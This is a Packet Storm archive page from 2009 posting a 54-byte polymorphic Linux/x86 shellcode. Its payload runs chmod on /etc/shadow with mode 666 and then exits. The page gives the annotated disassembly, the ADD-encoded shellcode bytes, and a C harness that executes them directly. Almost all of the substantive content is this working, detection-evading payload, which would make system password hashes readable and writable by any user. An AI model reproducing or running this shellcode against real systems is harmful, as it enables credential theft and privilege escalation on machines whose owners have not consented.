exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Polymorphic Shellcode For chmod /etc/shadow

Polymorphic Shellcode For chmod /etc/shadow
Posted Jun 23, 2009
Authored by Jonathan Salwan | Site shell-storm.org

54 byte linux/x86 polymorphic shellcode that performs chmod("/etc/shadow",666).

tags | x86, shellcode
systems | linux
SHA-256 | fbc25f37f437748cde8dc5ec06d64abe1f4724f4ce00ac813573c1df455321e2

Polymorphic Shellcode For chmod /etc/shadow

Change Mirror Download
/*
Title : Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) & exit() - 54 bytes
Encode : _ADD

Author : Jonathan Salwan
Mail : submit [!] shell-storm.org


! Database of shellcodes => http://www.shell-storm.org/shellcode/


Informations _chmod() & _exit():
================================

%eax = 15
%ebx = /etc/shadow
%ecx = 666

%eax = 1
%ebx = 0

Disassembly of section .text:

08048054 <.text>:
8048054: 51 push %ecx
8048055: 66 b9 b6 01 mov $0x1b6,%cx
8048059: 68 61 64 6f 77 push $0x776f6461
804805e: 68 63 2f 73 68 push $0x68732f63
8048063: 68 2f 2f 65 74 push $0x74652f2f
8048068: 89 e3 mov %esp,%ebx
804806a: 6a 0f push $0xf
804806c: 58 pop %eax
804806d: cd 80 int $0x80
804806f: 40 inc %eax
8048070: cd 80 int $0x80

*/


#include "stdio.h"

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x30\x80"
"\x6c\x0e\xff\x23\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x74\x89\xdc\xd9\x24\x8b\x84\x87"
"\x92\x9a\x8b\x86\x52\x96\x8b\x8b"
"\x52\x52\x88\x97\xac\x06\x8d\x32"
"\x7b\xf0\xa3\x63\xf0\xa3";

int main()
{
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close